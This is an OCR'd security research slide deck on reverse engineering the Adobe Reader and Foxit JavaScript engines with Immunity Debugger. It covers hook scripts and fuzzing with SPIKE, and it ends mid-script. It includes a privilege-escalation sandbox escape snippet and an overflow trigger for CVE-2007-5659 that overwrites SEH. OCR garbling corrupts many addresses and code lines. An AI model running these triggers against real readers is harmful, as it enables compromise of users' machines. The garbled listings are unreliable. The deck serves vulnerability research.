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Introduction

* Vulnerability assessment is becoming
more specific and attacks tend to be
application-focused

« Automated generic tools don't have a
significant level of success

- Fuzzers, binary analysis, source analysis,
etc

- Vendors use the same tools in their
testbeds



Immunity ebugger

« Rapid application-specific tool
development is essential

 Immunity Debugger was created to
achieve this task

- and is freely available

It uses the Python scripting language
since it's flexible and easy to use
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All applications are browsers

 Most functionality is in high level
languages, plugins, and other ditficult
to statically analyze objects

- Even in ID!

 Recovery of the interesting application
functionality is not done strictly in the
binary level, but straddles both
levels.



—

Combined Static and Dyamic
Analysis is best technique

Plugins
Javascript (DRM,
MM, etc)

Analysis Tool <:>

Internal
VBScript Binary
Objects

Browser-like app



Bugs you will find

« Sandbox escaping

* Object initialization (null deref/double
free, etc)

» Buffer Overtlows
« Shell escape bugs



This is still fertile grond
because it's hard to analyze

e Specialized tools needed to test across
scripting boundry

« Different development teams on
scripting engine and internals

 Complex data flow and threading
situations

- Callbacks, etc
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Case Study

PDF Display Tools:
Adobe Reader
Foxit
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Adobe's Javascipt Internls

 Adobe implements an ECMA Script engine
(standarized Javascript)

« All JS scripts are executed as a response to a
particular Event

 Example:
App/Init - Application Initialization
Doc/Open - Document Open

Field/Mouse Up - Clicking on a form button
Menu/Exec - JS menu item is executed
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Adobe's Javascipt Internls

 Each event is differentiated using a tuple:

Event Type|Event Name
App |Init

Batch |Exec

Console  |Exec

Doc |Open,WillClose,WillSave,WillPrint,
|DidPrint, DidSave
Menu |Exec

« Each Event Type defines a security context, ex:
App context, Doc context, etc...
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Adobe's Javascipt Internls

« Acrobat has two levels of privileges
differentiated by its security context:

- Privileged context: App/Batch/Console Events
- Non-Privileged context: everything else

 We can raise our security context using

app.beginPriv() or defining a function through
app.trustedFunction()

| Of course it needs a privileged context to run |
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Adobe's Javascipt Internls

Some known threats using Acrobat + Javascript

 |Break non-privileged sandbox

 Overtlows in built-in functions
e Extensive undocumented API—— FUTURE
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Adobe's Javascipt Internls

cocoruder showed how to break this sandbox
using an undocumented function over
Adobe Acrobat Professional 7.0.9:

o call app.checkF forU pdate()

 checkF orUpdate() raise its privileges

* it calls a callback function (user controlled)
e callback runs under privileged context

* FAIL!
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Adobe's Javascipt Internls

function myCallBack()

{
app.newDoc(); //PRIVILEGED FUNCTION
app.alert("PRIVILEGED FUNCTION CALLED \o/');

}

app.checkF orU pdate
t4

cType:"AAAA",
cName:"BBBB",
oCallback:myCallBack,
cVer:"CCCC",
cMsg:"DDDD",
oParams:myCallBack

1);
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Adobe's Javascipt Internls

Some known threats using Acrobat + Javascript

 Break non-privileged sandbox

e |Overflows in built-in functions

e Extensive undocumented API—— FUTURE
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Adobe's Javascipt Internls

CVE-2007-5659:

There's a Stack Overtlow in an undocumented
method called collectEmaillnfo

(working up to Acrobat 8.1.1)

Collab.collectE maillnfo(fmsg:”"AAAAAAAAAAAAA....”});

ﬂ * 0x4000

O012EA48 41414141 AAAA Pointer to next SEH record
O0012EA4C 41414141 AAAA SE handler

We'll show how to find and attack this bug later...
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Adobe's Javascipt Internls

Some known threats using Acrobat + Javascript

 Break non-privileged sandbox

 Overflow built-in functions

e |[Extensive undocumented API——» FUTURE
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Adobe's Javascipt Internls

« Like many products with embedded scripting
languages, Adobe Acrobat Reader has an
extensive undocumented API

- Collab object has only 3 documented methods
and NO properties, when it actually has 48
members (methods and properties)

 Undocumented functions tend to receive less
testing, because they're considered “for internal

2

use
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Adobe's Javascipt Internls

How It looks In Assembler
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Adobe's Javascipt Internls

Summary of objects theory

« As part of the initialization process, it registers a
group of Javascript objects

« Each object has a pointer to an array of object
members

 Each object member is either:
— a property
- a method
- another object
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Adobe's Javascript Internals
Summary of objects theory

 Properties have two associated functions:

- Getter: executed when you need to GET the
property value

- Setter: executed when you need to SET the
property value

« Methods have only one associated function,
which is executed when you call it

* Objects have a constructor function which is
executed as part of instantiation process
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Adobe's Javascipt Internals

« Register its internal objects from

plug_

ins/EScript.api

app

Name

23921608 238F50C8 ASCII "App"

72?2

2392160C 00000000

ptr
M embers

23921610 23917078 Escript.23917078

23921614 00000052

M embers
counter
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Adobe's Javascipt Internls

browsefF orDoc

~

239174FC 00000000

23917500 00000000

23917504 23916E4C EScript.23916E 4C

el
/ 23917508 00000000

2391750C 00000000

Name
222 Name
Security
ptr (getter)
M embers |:>
Security
M embers (setter)
counter Security
(method)
arg Info
arglnfo
counter

nam a2 39174F8 238F4E40 ASCI "browseForDoc"
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Adobe's Javascipt Internls

browsefF orD oc

Security Privileges

23916E4C 00000000
23916E50 00000000

222

23916E54 00000000

222

0

Perms

Perms
counter

Allowed
E vents

Events
counter

Event Type 23916E58 00000000
23916E5C 00000000
"Event Name 23916E60 23916E3C Escript.23916E 3C

23916E64 00000002

23916E3C 238F50C8 ASCII "App"
23916E40 238F50C0 ASCII "Init"
/ 23916E44 238F50F0 ASCII "Console"

23916E48 238F50F8 ASCII "E xec"
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Adobe's Javascript Internals
Summary of Javascript Structures

Name
JS Type
N Name 272 Perm Obj yp
ame — -
Security ™ 277 Perm Opr osition
D efault
?22? (getter) 0 f M oreflag au
$8¢ . P ‘ PI'IVIleged
i o Value
ptr (setter) >' Perms .
counter 227
M embers —p Security
(method) Event Type ?27?
Allowed r :
iyl Event Name FileType
counter Events
arg Info ) 222
arglnfo Events Security2
counter & —
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Adobe's Javascipt Internls

 Each plugin (Reader\plug ins\*.api) associates
Function Pointers to methods

22123383 |. A1 2CD43922 MOV EAX,DWORD PTR DS:[2239D42C]

3>
02123388 |. 68 DC911F22 PUSH Affhots.221F91DC —

2212338D |. 68 ACEA3322 PUSEFANNOtS.2233EAAC sl "collectE maill nfo
\.\“>

22123392 |. 56 PUSH ESI
22123393 |. FF90 BC000000 CALL DWORD PTR DS:[EAX+BC];
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Adobe's Javascipt Internals

Each plugin (Reader\plug ins\*.api) sets
Function Pointers to property getters and setters

22123315 |. A1 2CD43922 MOV EAX,DWORD PTR DS: [2239D42C]

.68 1C831F22 PUSH Annots.221F831C
. BF FCEA3322 MOV EDI,Annots.2233EAFC ; ASCII 'defaultStore"

. o7 PUSH EDI
. 56 PUSH ESI

. FF90 B4000000 CALL DWORD PTR DS:[EAX+B4] ;

.A12CD43922 MOV EAX,DWORD PTR DS:[2239D42C]

.68 86831F22 PUSH Annots.221F 8386 ;

. 57 PUSH EDI . ASCII "defaultStore'
. 56 PUSH ESI

. FF90 B8000000 CALL DWORD PTR DS:[EAX+B8] ;
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Adobe's Javascipt Internals

« Some methods set its security restrictions inside
the function

.68 74873222 PUSH Annots.22328774 ; ASCII "Batch"
. FF50 14 CALL DWORD PTR DS:[EAX+14] ; AStringToAtom

. 66:A3 24F43922 MOV WORD PTR DS:[2239F 424],AX

. BE E46C3222 MOV ESI,Annots.22326CE4 ; ASCII "Exec"
. FF50 14 CALL DWORD PTR DS:[EAX+14] ; AStringToAtom
. 66:A3 26F43922 MOV WORD PTR DS:[22.39F426],AX

. 6A 01 PUSH 1
.68 24F43922 PUSH Annots.2239F 424 ;
.FF75 FO PUSH DWORD PTR SS:[EBP-10] ;
. FF90 98010000 CALL DWORD PTR DS:[EAX+198] ; EScript.23823DD4

 Returns 1 if everything went OK or O if not




Adobe's Javascipt Internals

 Every method call is made from a single dispatcher

« It resolves method's function pointer

 Send a pointer with all the JS arguments together

Collab

. 56 PUSH ESI

. FF75 D& PUSH DWORD PTR SS:[EBP-24]

.FF75 EC PUSH DWORD PTR SSI[EDr-14]

“’collectE maill nfo””

.FF75 D8 PUSH DWORD PTR SS:[EBP-28]
. FF55 E8 CALL DWORD PTR SS:[EBP-18]

ANNoG.2Z1r 910 C

collectEmaillnfo({to:'fred@blah.com',msq:'Hi Fred{});
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built-in method
{to:'fred@blah.com’,msg:'Hi Fred'}

Adobe's Javascipt Internals

« It uses a generic argument parser inside every

221F96F8 FF75 78 PUSH DWORD PTR SS:[EBP+78]
221F96FB 8D85 98FDFFFF LEA EAX,DWORD PTR SS:[EBP-268]
221F9701 FF750C PUSH DWORD PTR SS:[EBP+C]

221F9704 . 50 PUSH EAX

221F9705 . A12CD43922 MOV EAX,DWORD PTR DS:[2239D42C]
221F970A . FF90 70010000 CALL DWORD PTR DS:[EAX+170] ; EScript.238215E 8

e Returns 1 if all went OK or O if not
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Adobe's Javascript Internals
Argument Parser Structure

{to:'fred@ blah.com',msg:'Hi Fred'}

Name

Type

Flags

B uffer

Used

NULL

p ASCII String PTR
ex: “to”
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Adobe's Javascript Internals
Argument Parser Structure

{to:'fred@ blah.com',msg:'Hi Fred'}

0x0 - Bool

Name Ox1 - Unsigned I nteger
Ox2 - Object

Type > 0x3 - ASCII String

Flags Ox4 - Unused
Ox5 - Array

Buffer Ox6 - UNICODE String
Used ex: Ox6
NULL
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Adobe's Javascript Internals
Argument Parser Structure

{to:'fred@ blah.com',msg:'Hi Fred'}

Name

Type

Flags

p HighWord & 0x0001 - Optional Argument

B uffer

Used

NULL

Low Word - unknown
ex: 0x00010001 (ie: is optional)
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Adobe's Javascript Internals
Argument Parser Structure

{to:'fred@ blah.com',msg:'Hi Fred'}

Name

Type

Flags

B uffer

PTR to a content buffer
- depends on Type
- set by the parser

p ex: ptr to Unicode String

Used

NULL

038815E0 FE FF 00 66 00 72 00 65 00 64 00 40 00 62 00 6C py.f.r.e.d.@.b.l
038815F0 00 61 00 68 00 2E 00 63 00 6F 00 6D 00 00 .a.h..com..
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Adobe's Javascript Internals
Argument Parser Structure

{to:'fred@ blah.com',msg:'Hi Fred'}

Name

Type

Flags

B uffer

Used

p Bool -setby the parser if the argument

NULL

was correctly parsed

38



Case Study: Foxit Reader

 Same approach to register objects,
methods and properties

« Arguments are checked manually in each
function

- they don't have a central argument parser
« Central dispatcher for method's calls
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F

Foxit's Javascpt Internals

« Register a new object

6A 00 PUSH 0
51 PUSH ECX
68 FO0O16FO0  PUSH Foxit_Re.006F01FO0

68 FO2E7200 PUSH Foxit_Re.00722EFO0
52 PUSH EDX

50 PUSH EAX

E8 8E76F7FF  CALL <Foxit_Re.register_object> ;

40



¥,
F¥

Foxit's Javascpt Internals

 Register a new property

MOV EDI,DWORD PTR DS:[ESI-8]
PUSH EDI

CALL <Foxit Re. wcslen>

PUSH EAX

PUSH EDI

CALL <Foxit_Re.init_string>

MOV ECX,DWORD PTR DS:[ESI]

MOV EDX,DWORD PTR DS:[ESI-4]
PUSH ECX

PUSH EDX
PUSH EAX

PUSH EBX ;
CALL <Foxit Re.register property>

1)

J
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¥,
F¥

Foxit's Javascpt Internals

» Register a new method

MOV EDI,DWORD PTR DS:[ESI-8]
PUSH EDI

CALL <Foxit Re. wcslen>

PUSH EAX

PUSH EDI

CALL <Foxit_Re.init_string>

MOV ECX,DWORD PTR DS:[ESI]

MOV EDX,DWORD PTR DS:[ESI-4]
PUSH ECX

PUSH EDX
PUSH EAX

PUSH EBX ;
CALL <Foxit Re.register method>
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Foxit's Javascript Internals
Method's calls dispatcher

PUSH EAX
MOV EAX,DWORD PTR SS [ESP+18]
PUSH ECX

PUSH EDX
PUSH EBX
PUSH EAX
CALL DWORD PTR DS:[EDI+48]

43



& Immunity Debugger - Foxit Reader.exe - [Log data]

File Yiew Debug Plugins Immlib Options ‘Window Help Jobs

HEE X P I WHAEY lemtwhcPkbzr. s ? IR

Address |Message

REGISTER property:
REGISTER property:
RESISTER property:
REGISTER property:
REGISTER property:
REGISTER property:
RESISTER property:

app, name: formslersion, getter funptriBqB871edfd, setter funptr:B4BE71ecbA

app, name: viewerTupe, getter funptri@RB671e878, setter funptr:BdBE71ea30

app, name: viewsrllariation, getter funptr:@:B671ebfd, setter funptr:B@eBE71edbb

app, name: wiewerlersion, getter funptri@aB871iefyd, setter funphr:BuBE71F136

app, name: calculate, getter funptriBRBE7IF2F6, setter funptriB4BE71F4bA

app, name: f5, getter funptri@uBATIFETE, cetter funptriBuBEF1fE3E

app, name: fullscreen, getter funptr:@:@8V1F9FE, setter funptr:B:B871fEEE
REGISTER propertw: obj:app, name: runtimeHighlight, getter funphr:BsBE71Fd7PE, setter funptriBsBEFLffIE
REGISTER propertw: obj:app, name: media, getter funptr:BuBE72EGFE, setter Funptr B BET2620[

Aa7 264708 REGISTER method: objiapp, name: newFOF, funptr:Bs087284760, argo: EHEEEEEEEE

AEV2EE98| RESISTER method: obj:app, name: npenFDF funptr: BHBB?EBE?B arge: B BERRERGES

B8y 28868| REGISTER method: obj:app, name: alert, funptr:B-88728504, argc:EHEEEEEEEE

AAY21968| REGISTER method: obj:app, name: beep, funptri@qAB87219b08, argc:@:EEEREERL

AA7 21350 REGISTER method: objrapp, name: cleacTimelut, funptri@u@EF213E8, argc:@yB0EARERG]

aav21B08| RESGISTER method: obj:app, name: findComponent, funptr:@=BE721bdE, argo:BxAEEEEEE]

B8y 28A08| REGISTER method: obj:app, name: popUpMenuBx, funptri@:08720add, argc:B:BEEHEEER

ARy 28CFA| REGISTER method: obj:app, name: popUpHMenud, funpbe:@uBE72EcEE, arcgc: ByAREEEEEER

BEy26F 18| REGISTER method: objiapp, name: setlnterval, funptri@RBA728f168, argc:Bs0EEAEEERZ

Aav21138| REGISTER method: objrapp, name: setTimelut, funptri@u@Ey211368, argo:BwBEREEEEZ

B8r21578| REGISTER method: obj:app, name: clearlnterval, funptriBxBE721576E, argc:BxEAH0EEEGEE]

BAy21798| REGISTER method: objiapp, name: execHenulften, funptriB=@E721798, argc:@qBEEEEER]

Bar210F8| REGISTER method: objiapp, names goBack, funpto:BsBE721dfE, acgo:ByBEEEEEEE

AE722018| REGISTER method: objrapp, name: goForward, funptr:Bu@E722018, argo:@eBEEEEEEE

A8v22238| RESISTER method: obj:app, name: mailMsg, funptr:B@EEF22230, argo: @xEEEEEEEE

AAY22458| REGISTER method: obj:app, name: lawnchURL, funptie:B@sBE7224568, argo: ByAREEEDEER

BEy22678| REGISTER method: objiapp, name: browseForloc, funptriBx@E7Z267E, argc:@xBE0EERGE

AE722898| REGISTER method: objrapp, name: newloc, funptr:@eBEF22896, argo: BuEAEREEEEE

A8v22HEE| RESISTER methaod: obj:app, name: openloc, funptr:@:BE722abd, argo:@xEEEEEEEE

AAy22C08| REGISTER method: obj:app, name: response, funptri@-@E7Z22cdd, argc:@xBA8REREGEE

REGISTER Object: name: Document

REGISTER Object: obj number: 9

RESISTER property: obj:0Oocument, name: numFields, getter funptr:@uB87HECcZdE, setter funptr:BxE87EC49E

REGISTER propertw: obj:locument, name: pagefum, getter funptriByBE7AcYed, setter funptriBsBEAFPECYaR

REGISTER propertw: obj:locument, name: bookmarkRoot, getter funptriBsBEFEchbed, setter funptri@qB887Ecd28

REGISTER property: obj:bocument, name: author, getter funptr:@qBE7Ecesd, setter funptr:BBB7EdEzE

RESISTER property: obj:0Oocument, name: info, getter funphtr:i@wBE7YEd2EE, setter funphtr:BxBE7Ed426

REGISTER propertw: obj:locument, name: creationlate, getter funptriBsbBE7EdSed, setter funptri@aB0878d7 a8

REGISTER propertw: obj:locument, name: creator, getter funptiriBqBE7Ed96E8, setter funptriBsBEFEdb2E

REGISTER property: obj:bocument, name: keywords, getter funptii@d8878dced, setter funptir:BuBB70dezd

RESISTER property: obj:0Oocument, name: modlate, getter funptriBBE7EeHEE, setter funptr:B@xBE7Ee20

REGISTER propertw: obj:locument, name: producer, getter funptriBsBE7PEe3ed, setter funptriB@aB87Ee5a8

REGISTER propertw: obj:locument, name: subject, getter funptriByBE7BeYEd, setter funptroiBsBEAFEE92A

REGISTER property: obj:bocument, name: title, getter funptriBuBByYBezel, setter funptri@4BE7Eecad

RESISTER property: obj:0ocument, name: numPages, getter funptr:B:0878eetl, setter funptr:B@:BE7EFE2R

REGISTER propertw: obj:Document, name: filesize, getter funptriBsBEFYEfled, setter funptriB@aBE7EF3a8

REGISTER propertw: obj:locument, name: moused, getter funptri@aBB7EFSEH, setter funptr:B4BE7EF 728

REGISTER property: obj:bocument, name: modseY, getter funptr:@qBE7YEF2e0, cetter funptr:BBB7OfzaE

RESISTER property: obj:0Oocument, name: baseURL, getter funptri@:BE7EfcEl, setter funptr:@:BE7Efe20

REGISTER property: obj:Document, name: calculate, getter funptri@qB8870ffed, setter funptr:BxEE7161a6

REGISTER propertw: obj:Document, name: documentFileMame, getter funptri@qB8@718368, setter funptr:BuBET1E52A

REGISTER propertu: obj:bocument, name: path, getter funptri@RAE7106c8, setter funpti:@dBE7 162330

!hnnkfuxit

objs
obje
obj:
objs
objs
obje
obj:

[15:55:46] Thread D0O00EFOD termir



Decoding
Adobe Javascript Engine

with Immunity Debugger
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Decoding Javascript Wit Immunity ebugger

« We have two approaches to decode javascript
objects:

- Static analysis, ie: Decode init structures

- Dynamic analysis, ie: Hook calls to methods
and arguments parser
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Decoding Javascript with Immunity Debugger
Static approach

We can make a script that reads debugee
memory to decode all structures we saw at
the beginning:
- Object
- Members
- Security privileges
« We'll show script chunks using
app.browseForDoc() as an example
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Decoding Javascript with Immunity Debugger
Static approach

Decode Object Structure
address = 0x23921608 #App object in Adobe Acrobat Reader 8.1.1

#Object Name [ptr to “App”’]
ptrObjectName = imm.readLong(address)
ObjectName = imm.readString(ptrObjectName)
address +=4

#Unknown [0x0]

address +=4

#M embers [ptr to 82 M embers Structures]
ptrMembers = imm.readLong(address)
address +=4

#M embers counter [0x52 = 82]
counterMembers = imm.readLong(address)
address +=4

... (next Object)
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Static approach

g —

Decode Member Structure

address = ptrMembers

#M ember Name [ptr to “browseForDoc”]
ptrMemberName = imm.readLong(address)
MemberName = imm.readString(ptrMemberName)
address +=4

#Security Privileges (getter) [0x0]
ptrSecurityGetter = imm.readLong(address)
address +=4

#Security Privileges (setter) [0x0]
ptrSecuritySetter = imm.readLong(address)
address +=4

#Security Privileges (method)

#{ptr to Security Structure]
ptrSecurityMethod = imm.readLong(address)
address +=4

#A rguments | nformation [0x0]

ptrArginfo = imm.readLong(address)
address +=4

#Argl nfo counter [0x0]

counterArginfo = imm.readLong(address)
address +=4

... (next Member)

Decoding Javascript Wit Immunity ebugger
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Decoding Javascript with Immunity Debugger
Static approach

Decode Security Privileges Structure

address = ptrSecurityMethod

#Unknown * 2 + Always Z ero [0x0,0x0,0x0]
address += 12

#ptr Perms (document permissions, ex: Perm to Print,Save,etc.) [0x0]
ptrPerms = imm.readLong(address)

address +=4

#Perms counter [0xO0]

counterPerms = imm.readLong(address)
address +=4

#A llowed Events [ptr to Event List]
ptrAllowedEvents = imm.readLong(address)
address +=4

#A llowed E vents counter [0x2]
counterAllowedEvents = imm.readLong(address)
address +=4

50



Decoding Javascript with Immunity ebugger

Static approach

Decode Event List

address = ptrAllowedEvents

#E vent Type [ptr to “App”]

ptrEventType = imm.readLong(address)
EventType = imm.readString(ptrEventType)
address +=4

#E vent Name [ptr to “I nit”]

ptrEventName = imm.readLong(address)
EventName = imm.readString(ptrEventName)
address +=4

... (next Event)

—
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& Immunity Debugger - AcroRd32.exe - [Log data]

Fle ‘iew Debug Pluging Immlib Options ‘Window Help Jobs

SHEE Mx P WAL lemtwhcPkbzr. s 7 I

Address |Hessage
Object App (32 members)
239176878 Member CTwersion
23917898 Member Usecname
239178R8  Member Viewsrversion
23917ACAE  Member 0Swersion
239176808 Member AGHversion
239178F8  Member addressBookAwvailable
23917188 Member act ivelocs
23917128 Member calculate
23917138 Member constants
23917158 Member foousRect
23917168 Hember formslersion
23917188  Member fromPOFConverters
23917198 HMember fs=
23917188 Member fslseTimer
239171C8) Member fslsePageTiming
239171ER  Member fsLoop
239171F8  HMember fsEscape
23917218 Member f=Click
23917228 Member fsColor
23917248 Member fslursor
23917258 Member f=Timelelay
23917278 Member fsTransition
23917288 Member fullscreen
239172A8  Member language
23917288 HMember media
23917208 Member monitors
23917268 Member numFluglns
23917288 Member openlnFlace
23917318 Member platform
23917338 Member pluglns
23917348  HMember printColorProfiles
23917368  HMember printerHames
23917378 Member runtimeHighlight
23917398  Member runtimeHighlightColor
239172A%  Member thermometer
23917308 Member toolbar
23917308 Hember toolbarHorizontal
239173F8  Member toolbarlertical
23917488  Hember wser [propertyl
Security Privileges for Getter, Have a list of allowsd Events
Allowed Event: Batch Exec
Allowed Event: ConsolesExec
23917428 Member wiewsrType
23917438 HMember wiewerllariation
23917458  Member wiewerllersion
23917468 HMember addMenultem (method)
Security Privileges for Method, Have a list of allowed Events
Allowed Event: ConsolesExec
Allowed Event: AppsInit
23917488 Member addSubMenu (method)

!staticaduhe




Decoding Javascript with Immunity Debugger
Dynamic approach

*We'll show how to put hooks on:

 method's dispatcher
e arguments parser

« We'll use Collab.collectEmaillnfo() as an
example
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Decoding Javascript with Immunity Debugger
Dynamic approach

Hook on Method's Dispatcher

A Hook is a breakpoint that allows us to
execute a Python script

‘Inside this script we can control the
program state, debuggee memory, etc.

*We have created an extensive API to assist
dynamic analysis
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Decoding Javascript Wit Immunity ebugger

Dynamic approach
Hook on Method's Dispatcher

BN 2382E1F8 PUSH ES| :
| Just before executing last

B 2382E1F9 PUSH DWORD PTR SS:[EBP-24] CALL InStrU Ctlon we have

2382E1FC PUSH DWORD PTR SS:[EBP-14]

| our stack set as below
Nl 2382E 1FF PUSH DWORD PTR SS:[EBP-28] . .
N 2382E202 CALL DWORD PTR SS:[EBP-18] «2"" argument is the
1 function name of method to
1 Stack be executed
IRg02-o0C 02733808 *CALL is pointing to the
S R0012E870 027C3A90 "collectEmaillnfo" method's function pointer

0 12E874 027831D8

B 10E378  02785BF0
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Decoding Javascript with Immunity Debugger
Dynamic approach

Hook on Method's Dispatcher

 Pddress = 0x2382E 202

2382E1F8 PUSH-ESI
2 hooklInstance = methodC allH ook()

2382E1F9"PUSH DWORD PTR SS:[EBP-24] 3 hooklInstance.add(address=address)

2382E1FC PUSH DWORD PTR SS:[EBP-14] 4 class methodC allH ook(LogBpHook):

5  def run(self, regs):

6 imm = Debugger()

7 argName = imm.readL ong(regs['ESP']+4)

8 name/= imm.readString(argName)

S nglftr = imm.readL ong(regs['EBP']-0x18)

10 Imm.Log("METHOD CALL %s: 0x%08X"%(name,
funcPtr), address=funcPtr)

0012E86C 02783BD8 Log WindOW
0012E870 027C3A90 "collectEmaillnfo"

2382E(IFF PUSH DWORD PTR SS:[EBP-28]
2382E202 CALL DWORD PTR $S:[EBP-18]

2385A0DC METHOD CALL trustedFunction: 0x2385A0DC
2385A52D METHOD CALL beginPriv: 0x2385A52D
222168AB METHOD CALL addUl: 0x222168AB

0012E874 027831D8

0012E878 02785BF0




Decoding Javascript with Immunity Debugger
Dynamic approach

Hook on Arguments Parser

‘We hook the parser itself (not each call to
the function)

*We need to hook at function's end to fill the
“used” and “buffer” fields
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Decoding Javascript with Immunity Debugger
Dynamic approach

Hook on Arguments Parser
Collab.collectEmaillnfo({to:'fred@blah.com' ,msg:'Hi Fred'});

221F9704 . 50 PUSH EAX
221F9705
221F970A . FF90 70010000 CALL DWORD PTR DS [EAX+170], LSCiript.238215E 8

238215E 8 PUSH EBP ; Function Start 0012E84C 221F9710 RETURN to Annots.221F9710

238215E9 MOV EBP,ESP 0012E850 0012E 8F0
238215EB SUB ESP,10
0012E8F0 2233D544 ASCII "to"
2382181F MOV AX,BX 0012E8F4 00000006

23821822 POP EDI 0012E8F8 00010001

23821823 POP ESI 0012E8FC 0012EB9C

23821824 POP EBX 0012E900 00000000

23821825 LEAVE 0012E904 2233DE3C ASCII "toShow"




Args Structure

Dynamic approach
Hook on Arguments Parser

Name
Type
F lags
B uffer
Used

NULL

1 address = imm.getF unctionE nd(0x238215E 8)[0]
2 hooklnstance = argumentsParserH ook()

3 hooklnstance.add(address=address)

4 class argumentsParserHook(LogBpHook):

5  def run(self, regs):

6 imm = Debugger()

7 array = imm.readLong(regs['ESP']+4)

8 while imm.readLong(array) != O:

9 Name = imm.readString(imm.readLong(array))
10 Type = imm.readLong(array+0x4)

11 Flags = imm.readLong(array+0x8)

12 Buffer = imm.readLong(array+0xc)

13 Used = imm.readLong(array+0x10)

14 array += 0x14

15 returnValue =regs[ EAX'] & Oxffff

—

Decoding Javascript Wit Immunity ebugger
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A Immunity Debugger - AcroRd32.exe - [Log data]

File ‘iew Debug Plugins Immlib Options Window Help  Jobs

B EE X s+ | emt ﬂ hcPkbzro.s ? lant to wark on automated malware classification 7

Address |HMessage
BE12ESER| nam cUHL typei@n3d, flag:@qd, buffer:B@lz2eB858, uwsed:Bul, ASCII STRIMG buffer: local:ssFormsTrackerlibrary..is
BA12ES4C name: nDrLuer, tyupe: BHE. flag: EHE buffer:661 e84z, used: BHI. OBEJECT
2385A560| FUMCTION CHLL endPriwe EHEEEEHEED
2385A520( FUMCTION CALL beginPriwv: BM2385ASED0
222168AB| FUMCTION CHALL addUl: @«222163FAE
BA12ESSA| name:cURL, twpeiBu3, flagi8xd, buffer:@@li2edSE, ysediB@nl, ASCII STRIMG buffer: local:s<FormsTrackerSearch.js
BA12ES4C| name: olriver, type:@ss, flag:@s8, buffer:B612eB4c, wsed:Bul, OBJECT
2385A560| FUMCTION CALL endPriw: Bs2335R560
2395AB4A| FUMCTION CALL g9etString: B42355AB4A
BE12ES60 | name: cP luglnbame, type:@x3, flag:6udE, buffer:@Elze368, usediBsl, ASCII STRIMG buffer: Multimedia
BR12ESEC| name: cStringld, type:BA3, flag:Bx18880, buffer:Bdl2edSc, usedi@al, RSCII STRIMG buffer: IDS_JS_STARTUR
238AFE9E| FUMCTION CALL println: Bu233AF39E
BA12ES4C| name: clessage, typeiBdG, flag:BxB, bufferiB@lzefdc, wsed:Bul, UMICODE STRIMG buffer: Acrobat Multimedia Version 8.8
22385AA0C| FUMCTION CALL trustedFunction: Bu222SAE0C
BA12E854 | name:oFunc, tyupe:@xS, flag:@s8, buffer:8812e354, used:dul, ARRAY
2385AA0C| FUMCTION CALL trustedFunction: Bu23235AR0C
BE12ESEY | name: oFunc, twpeiBus, flagi@sd, buffer:B612e854, ysed:@xl, ARRAY
22123964 | FUMCTION CALL addAnnotStore: BX221239E4
BR12ES4R| name: cHame, typeiBud, flag:dsd, buffer:BB12e84B8, wsed:B@al, ASCII STRIMG buffer: COMFIG
BE12ES3C) name: cUIName, tupet@nd, flagi@sd, buffer:B8812e83c, usediBul, UWICODE STRING buffer: Custom
BA12ES4C| name: factory, typeiBsE, flag:BqB, buffer:iB@Blzefdc, used:iBul, ARRAY
name: cSett ings, typei@ds, flagi@x 10888, buffer:BEl2edtld, ysediBn@d
nare:bHidden, tupe:B=6, flag:B8=168868, buffer:@812e2348, used:BuB
Z38AF39E| FUMCTION CALL println: Ba2223AF3SE
BA12ER4C| nare: chessage, typetBdE, flagiud, buffer:B812e8dc, uwsediB@ul, UNICODE STRIMG buffer: Acrobat SOARP 2.8
TCE318659| Hew thread with ID BEEEEYI4 created
221F910C| FUMCTION CALL collectEmaillnfor @x221F910C
nare:to, typer@dE, flag:@nl@@El, buffers@812e878, used:Bud
names toShow, typeiBsG, flagi@slBEEl, bufferiB@lzed5c, used:idx@
namescs, typeiddt, flag:Bxl8881, buffer:Bd@lZedeld, used:@n@
nare:boc, tuperBRG, flag:E=166861, buffer:@812e384, used:@ud
BA12ESEE| name:subj, typeiBue, flagi@xlBEBEl, bufferiB@lz2efed, wsed:@uwl, UMICODE STRIMG buffer:
namesattach, typer@qe, flag:BulBE@l, buffer:BA1zZe288, uwoed:OuE
name:msglabel, typei@dd, flag:BEq168881, buffer:BBl1Z2e336, used:B@q@
BAL1ZESYD| nameimsg, tupe:But, flagi@sl@ddl, bufferi@Bl2efyd, uwsedidul, UNICODE STRIMG buffer: EEEEECEETEEEErrrr e e e e e e e e e e e e e T T P11
nare:title, type:BuE, flag:Exl@@El, buffer:@812e88c, used:BuBd
names instl, typeiBus, flagi@slBBEl, bufferiBdlz2ed?c, used:iBs@
name: inst2, typeiBus, flagi@sleBEl, bufferiBdlz2ed?d, usediBnd
nare:deadlate, typez@xS, flag:@x18881, buffer:B8812e86c, used:buib
nameshelpld, typeiBr3d, flagi@nlBEEl, bufferi@@lzes43, usedidx@
nare:tolisabled, type:@u@, flag:@ul@@al, buffer:B812e834, used:buid
namesuseToShow, tupei@sd, flag:@:106881, buffer:BE12e3338, used:B@x@
name: toSelected, typei@nB, flag:@x18881, buffer:BBlZ2e83c, wsed:@q@
nare:cclisabled, type:@s@, flag:@x18881, buffer:8812e84c, used:b:i@
namesbocclisabled, type:BaB, flag:Bx18881, buffer:BdlZedlc, used:iBxA
namessubjlisabled, tups:Bx@, flagiBxl@BEl, buffer:@Bl2eddd, ysed:BuB
nare:msglisabled, type:B=H, flag:Ex18881, buffer:@812e858, used:Bu@
name:deadlatelisabled, typei@nB, flag:@q168881, buffer:BRl2edtd, usediB@q@
name:replyTnHllDtaabled, typerBxE, flag:BxiB6E], buffer:B@E12e8560, used:B@uE
me:reviewStatuslizabled, tupe: EHE f lag: EHIBEEI buffer:BE12e354, used:B=A
B13RA1689 [19 18:26] HAoocess umulattan when writing to [BBIEEEEB]

lhookadobe

EAL Access violahon when witing to [007:30000 e Shift+F 7/F8/F9 to pass excephion to program



Smart fuzzing with SPIKE
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Smart fuzzing with SPIKE

 We start using our static approach to get a
complete list of methods

 Then, using the dynamic strategy we'll
decode every method's arguments

* Finally, we'll fuzz each argument with
SPIKE
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Smart fuzzing with SPIKE

« Using the scripts explained before, make a
list of reachable methods from a non-
privileged security context

« Make a PDF file calling to each function,

eX:

try { Collab.getldentity(); } catch (e) { }
try { Collab.collectEmaillnfo(); } catch (e) { }

 If you get an error with some method, you
can move to the next smoothly using this

try/catch blocks
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Smart fuzzing with SPIKE

« Attach Immunity Debugger to
AcroRdr32.exe

 Execute your python script to hook
method's dispatcher and arguments parser

 Save argument's names, types and
optional-argument flags of each method
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Smart fuzzing with SPIKE

« Make a SPIKE script as follows:

spk=spike()
spk.s_string(“try { “+funcNamet”({*)
first=True
